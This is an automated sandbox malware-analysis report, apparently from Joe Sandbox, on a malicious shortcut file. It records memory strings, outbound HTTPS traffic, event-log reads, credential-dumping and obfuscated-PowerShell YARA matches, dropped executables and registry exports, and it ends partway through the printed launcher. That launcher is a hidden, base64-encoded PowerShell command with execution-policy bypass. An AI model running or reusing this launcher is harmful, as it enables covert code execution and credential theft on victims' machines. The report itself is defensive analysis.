Source: svchost.exe, 00000014.00000003.3791156023.00000218EFF3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.3790941948.00000218EFF2C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.3790941948.00000218EFF29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.4922162100.00000218EF65F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.3791284890.00000218EFF40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.3813396642.00000218EFF50000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.4924615455.00000218EFF51000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.3791218809.00000218EFF2C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80606
Source: svchost.exe, 00000014.00000003.3791156023.00000218EFF3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.3790941948.00000218EFF2C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.3790941948.00000218EFF29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.4922162100.00000218EF65F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.3791284890.00000218EFF40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.3791218809.00000218EFF2C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80607
Source: svchost.exe, 00000014.00000003.3791156023.00000218EFF3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.3790941948.00000218EFF2C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.3790941948.00000218EFF29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.4922162100.00000218EF65F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.3791284890.00000218EFF40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.3813396642.00000218EFF50000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.4924615455.00000218EFF51000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.3791218809.00000218EFF2C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80608
Source: svchost.exe, 00000014.00000002.4921923567.00000218EF62A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlinePOP
Source: svchost.exe, 00000014.00000003.3790941948.00000218EFF2C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.3791218809.00000218EFF2C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlinePOPAuth.srf?id=80601&fid=cp
Source: svchost.exe, 00000014.00000003.3790941948.00000218EFF2C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.3791695419.00000218EFF0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.3791738269.00000218EFF0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.4922050387.00000218EF640000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlinePOPAuth.srf?id=80601&fid=cp
Source: svchost.exe, 00000014.00000003.3791156023.00000218EFF3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.3790941948.00000218EFF2C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.3790941948.00000218EFF29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.4922162100.00000218EF65F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.3791284890.00000218EFF40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.3791218809.00000218EFF2C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlinePOPAuth.srf?id=80605
Source: svchost.exe, 00000014.00000002.4922050387.00000218EF640000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/ResolveUser.srf
Source: svchost.exe, 00000014.00000002.4922050387.00000218EF640000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.4921923567.00000218EF62A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/SHA1Auth.srf
Source: svchost.exe, 00000014.00000002.4922050387.00000218EF640000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.4921923567.00000218EF62A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/deviceaddcredential.srf
Source: svchost.exe, 00000014.00000002.4921923567.00000218EF62A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/devicecha
Source: svchost.exe, 00000014.00000003.3791156023.00000218EFF3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.3791284890.00000218EFF40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.4922050387.00000218EF640000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/devicechangecredential.srf
Source: svchost.exe, 00000014.00000002.4921923567.00000218EF62A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/devicechangecredential.srf0
Source: svchost.exe, 00000014.00000003.3791156023.00000218EFF3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.3791284890.00000218EFF40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.4922050387.00000218EF640000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.4921923567.00000218EF62A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/deviceremovecredential.srf
Source: svchost.exe, 00000014.00000002.4922050387.00000218EF640000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.4921923567.00000218EF62A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/resetpw.srf
Source: svchost.exe, 00000014.00000002.4922050387.00000218EF640000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/retention.srf
Source: svchost.exe, 00000014.00000002.4923374632.00000218EF702000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.livx
Source: powershell.exe, 00000003.00000002.3626939456.0000020AC43CB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.3626939456.0000020AC4294000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.3609302778.0000020AB56FC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.3879387426.000002514E3E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3782474079.0000012F480C9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3736924870.0000012F3969C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.4510984351.000002932AB9A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 00000008.00000002.3736924870.0000012F38E9C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.org
Source: svchost.exe, 00000014.00000002.4922050387.00000218EF640000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://signup.live.com/signup.aspx

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443

Source: unknown	HTTPS traffic detected: 172.67.128.139:443 -> 192.168.11.30:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.128.139:443 -> 192.168.11.30:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.128.139:443 -> 192.168.11.30:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.128.139:443 -> 192.168.11.30:49763 version: TLS 1.2

Spam, unwanted Advertisements and Ransom Demands

Reads the Security eventlog

Source: C:\Windows\Temp\myRdpService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
Source: C:\Windows\Temp\myRdpService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
Source: C:\Windows\Temp\myRdpService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
Source: C:\Windows\Temp\myRdpService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
Source: C:\Windows\Temp\myRdpService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security\RdpService
Source: C:\Windows\Temp\myRdpService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
Source: C:\Windows\Temp\myRdpService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security

Reads the System eventlog

Source: C:\Windows\Temp\myRdpService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System
Source: C:\Windows\Temp\myRdpService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System
Source: C:\Windows\Temp\myRdpService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System
Source: C:\Windows\Temp\myRdpService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System
Source: C:\Windows\Temp\myRdpService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System
Source: C:\Windows\Temp\myRdpService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System

System Summary

Malicious sample detected (through community Yara rule)

Source: amsi64_8856.amsi.csv, type: OTHER	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: 47.2.myRdpService.exe.7ff7234e0000.0.unpack, type: UNPACKEDPE	Matched rule: creddump is a python tool to extract credentials and secrets from Windows registry hives. Author: @mimeframe
Source: 0000002F.00000002.4929024968.00007FF7239E6000.00000004.00000001.01000000.0000000A.sdmp, type: MEMORY	Matched rule: creddump is a python tool to extract credentials and secrets from Windows registry hives. Author: @mimeframe
Source: Process Memory Space: powershell.exe PID: 4588, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 8856, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: svczHost.exe PID: 3548, type: MEMORYSTR	Matched rule: creddump is a python tool to extract credentials and secrets from Windows registry hives. Author: @mimeframe

Powershell drops PE file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Windows\Temp\svczHost.exe

Jump to dropped file

Uses regedit.exe to modify the Windows registry

Source: C:\Windows\Temp\myRdpService.exe

Process created: C:\Windows\regedit.exe "regedit.exe" /e "C:\Windows\Temp\regBackup.reg" "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService"

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File deleted: C:\Windows\Temp\file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD8339F1C6	4_2_00007FFD8339F1C6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD8339FF72	4_2_00007FFD8339FF72
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD833A0F40	4_2_00007FFD833A0F40
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD834632CD	4_2_00007FFD834632CD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FFD83364E6A	8_2_00007FFD83364E6A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_00007FFD8346A561	13_2_00007FFD8346A561
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_00007FFD838C314B	13_2_00007FFD838C314B
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 26_2_00007FFD833777A6	26_2_00007FFD833777A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 26_2_00007FFD83378552	26_2_00007FFD83378552
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 26_2_00007FFD833772A9	26_2_00007FFD833772A9
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 26_2_00007FFD8337549D	26_2_00007FFD8337549D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 30_2_00007FFD833A7130	30_2_00007FFD833A7130

Source: Joe Sandbox View	Dropped File: C:\Windows\Temp\myRdpService.exe 5744321DFC2240023EF89A8D3A4B57C635FEDFEF0E265F1C8F7971AA9F635C34
Source: Joe Sandbox View	Dropped File: C:\Windows\Temp\svczHost.exe B1D69CBC0A2D13B89500D37726AD9E01817C8890262E3CE4A561F82B63708B9A

Source: svczHost.exe.13.dr

Static PE information: Resource name: RT_VERSION type: MacBinary, comment length 97, char. code 0x69, total length 1711304448, Wed Mar 28 22:22:24 2040 INVALID date, modified Tue Feb 7 01:41:58 2040, creator ' ' "4"

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: Commandline size = 3679
Source: C:\Windows\System32\cmd.exe	Process created: Commandline size = 3632
Source: C:\Windows\Temp\svczHost.exe	Process created: Commandline size = 2904
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: Commandline size = 3679	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: Commandline size = 3632	Jump to behavior
Source: C:\Windows\Temp\svczHost.exe	Process created: Commandline size = 2904

Source: amsi64_8856.amsi.csv, type: OTHER	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: 47.2.myRdpService.exe.7ff7234e0000.0.unpack, type: UNPACKEDPE	Matched rule: hacktool_windows_moyix_creddump author = @mimeframe, description = creddump is a python tool to extract credentials and secrets from Windows registry hives., reference = https://github.com/moyix/creddump
Source: 0000002F.00000002.4929024968.00007FF7239E6000.00000004.00000001.01000000.0000000A.sdmp, type: MEMORY	Matched rule: hacktool_windows_moyix_creddump author = @mimeframe, description = creddump is a python tool to extract credentials and secrets from Windows registry hives., reference = https://github.com/moyix/creddump
Source: Process Memory Space: powershell.exe PID: 4588, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 8856, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: svczHost.exe PID: 3548, type: MEMORYSTR	Matched rule: hacktool_windows_moyix_creddump author = @mimeframe, description = creddump is a python tool to extract credentials and secrets from Windows registry hives., reference = https://github.com/moyix/creddump

Source: classification engine

Classification label: mal100.troj.expl.evad.winLNK@81/64@2/2

Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE

File created: C:\Program Files\Microsoft Office\root\vfs\Common AppData\Microsoft\Office\Heartbeat\HeartbeatCache.xml

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:5356:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:5212:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:4652:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:2276:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:2276:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:4032:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:5104:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:7636:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:8844:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:7636:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8864:120:WilError_03
Source: C:\Windows\Temp\myRdpService.exe	Mutant created: \BaseNamedObjects\Global\netfxeventlog.1.0
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8524:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:8712:304:WilStaging_02
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8776:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:8844:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:8752:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8864:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:4652:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8240:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8240:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:4032:304:WilStaging_02
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: \Sessions\1\BaseNamedObjects\STARTUAC
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2788:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2560:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:8712:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:5212:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:5104:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8524:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:8752:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2788:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8776:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:5356:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_klp5as3n.v1n.ps1

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Processor
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor

Source: C:\Windows\System32\conhost.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: WXahq3ZEss.lnk	Virustotal: Detection: 34%
Source: WXahq3ZEss.lnk	ReversingLabs: Detection: 34%

Source: unknown	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /v /k "pOWERsheLl.eXE -WINDoWSTylE hiDdEN -EncoDEdCommAnd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEUAOABBAFIAQQBCAHAAQQBHADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEARgBRAEEAVQB3AEIAMABBAEYASQBBAFMAUQBCAE8AQQBHAGMAQQBLAEEAQQBvAEEARQBrAEEAZAB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcAbwBBAFkAZwBBAHkAQQBFADQAQQBkAGcAQgBpAEEARgBjAEEAVgBnAEEAdwBBAEcARQBBAFIAdwBBADUAQQBHAHMAQQBXAGcAQgBUAEEARABVAEEAYQB3AEIAYQBBAEYATQBBAE8AUQBCAFEAQQBGAE0AQQBNAEEAQQAxAEEARwAwAEEASQBnAEEAcABBAEMAawBBAEsAUQBBAHAAQQBDADQAQQBRAHcAQgBQAEEARwA0AEEAVgBBAEIARgBBAEcANABBAGQAQQBBAHAAQQBDAGsAQQAiAA=="" && exit
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe pOWERsheLl.eXE -WINDoWSTylE hiDdEN -EncoDEdCommAnd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEUAOABBAFIAQQBCAHAAQQBHADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEARgBRAEEAVQB3AEIAMABBAEYASQBBAFMAUQBCAE8AQQBHAGMAQQBLAEEAQQBvAEEARQBrAEEAZAB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcAbwBBAFkAZwBBAHkAQQBFADQAQQBkAGcAQgBpAEEARgBjAEEAVgBnAEEAdwBBAEcARQBBAFIAdwBBADUAQQBHAHMAQQBXAGcAQgBUAEEARABVAEEAYQB3AEIAYQBBAEYATQBBAE8AUQBCAFEAQQBGAE0AQQBNAEEAQQAxAEEARwAwAEEASQBnAEEAcABBAEMAawBBAEsA